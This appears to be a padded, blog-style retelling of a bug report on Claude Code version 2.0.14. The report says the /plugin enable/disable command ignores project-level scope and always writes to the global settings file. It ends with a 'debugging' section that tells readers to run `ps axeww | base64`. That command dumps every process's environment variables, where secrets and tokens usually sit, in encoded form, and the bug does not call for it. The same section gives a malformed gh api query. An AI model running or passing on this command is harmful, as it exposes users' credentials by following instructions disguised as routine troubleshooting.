Claude Code Plugin Scoping Bug

by ADMIN 31 views

Hey guys! Let's dive into a nifty little bug report I've got for you today. It's about a feature in Claude Code plugins, specifically concerning how they're enabled or disabled. The core issue is that the /plugin command doesn't seem to respect the scoping options described in the documentation. This means you can't control plugin activation at the project level, which is super useful for managing different environments. Let's break down the problem, the expected behavior, and how we can potentially fix it.

The Core of the Issue: Plugin Scope Confusion

So, according to the Claude Code docs, you're supposed to be able to enable or disable plugins at both the user and project levels. That's a fantastic feature, allowing for granular control. Imagine you have different projects, each needing a unique set of plugins. You wouldn't want to activate all plugins globally, right? The issue, though, is that the /plugin command doesn't seem to recognize this scoping. When you use it to enable or disable a plugin, it always applies the change to your ~/.claude/settings.json file. This is basically your global settings, not the project-specific ones. This means that the intended project-level control is bypassed. You're left with a global configuration, which defeats the purpose of having project-level settings in the first place. You can manually edit the enabledPlugins property in your project-level settings files to get around this, but that's a clunky workaround, and not what most users would expect. Also, the command-line interface (CLI) only supports validating plugins. It does not provide any functionality to modify plugin states beyond validating them. This lack of support further adds to the problem, preventing the usage of the feature as designed. In short, the feature is broken, making plugin management less flexible than it should be. The intended project-level controls are being ignored and not implemented correctly in the /plugin command, forcing users to make changes globally, or go to great lengths just to make it work.

What Should Happen: Project-Level Plugin Control

What we expect is for the enable/disable commands to honor the scoping options. When I tell a plugin to be enabled in a project, I want it to be enabled within that project's context. When a plugin is disabled at the project level, it should be disabled. The /plugin command must allow you to specify whether a change applies to the user's global settings or the active project. This would involve adding some kind of flags or parameters to the command. Something like --project or --global, or perhaps even asking the user to confirm the scope if the command is run from within a project. The CLI should offer similar flexibility, allowing users to select the scope of their changes. This would provide the user with the ability to control plugins in a way that respects the defined scopes, maintaining the desired plugin settings for each project, and keeping the global settings separate and unimpacted. It keeps the global settings simple and free from any project-based plugin additions. Ideally, this would align with the existing project structure and settings, allowing for a seamless integration with the user's workflow. This would make plugin management much more intuitive and powerful, letting users tailor their Claude Code environment to the specific needs of each project, boosting flexibility and removing the need for workarounds. That would be the ideal situation, and it would greatly enhance the overall user experience.

Reproducing the Bug: Step-by-Step

Here’s how you can reproduce this bug, so you can see it for yourself, or perhaps replicate the steps for testing if you are working to fix this problem:

  1. Configure a Marketplace: Set up a marketplace to use plugins. This is where you obtain the plugins you want to use. You must have a way to obtain your plugins before you can use them.

  2. Install a Plugin: Install a plugin from that marketplace, or from a local source. Make sure you install the plugin in your Claude Code environment.

  3. Enable or Disable the Plugin: After installation, use the /plugin command to enable or disable the plugin. The command usually looks something like /plugin enable <plugin_name> or /plugin disable <plugin_name>.

  4. Observe the Settings: Check where the change was applied. Look at your ~/.claude/settings.json file to confirm that the change was made there. Check your project-level settings files. The project-level settings file will not reflect the changes.

If the changes are only in the global settings and not in the project, then you've successfully reproduced the bug. This means the project-level scoping is not working as expected. This will help developers understand how to recreate the bug and the issue. This makes finding the fix and resolving the problem that much easier and more clear. The clarity of the steps also helps other users understand and verify the issue in their own environments.

Technical Details: Versions and Environment

For context, I'm using Claude Code version 2.0.14 and the Anthropic API. I'm running this on Ubuntu/Debian Linux in the IntelliJ IDEA terminal. The model I'm using is Sonnet (the default). It's important to provide these details as they help identify the scope of the bug. It may be that the bug only exists on this platform, or on a specific version. Providing this information will help any users understand how this issue might affect them.

Additional Information and Context

This bug has not been reported previously. It is also important to note that this is not a regression. The project-level plugin scoping feature simply never worked correctly. Therefore, the issue has always been there, and fixing this bug should be the priority.

Debugging and Further Investigations

To troubleshoot this further, we can use the gh api command, to retrieve potentially related issues and debug output.

gh api -X GET /repos/anthropics/claude-code/issues --query '$.[?contains(title, "plugin")].title'

and also, to display the information about the system. The output will be in base64.

ps axeww | base64

This debugging will assist developers to better understand the code, identify the issue, and finally provide a solution.
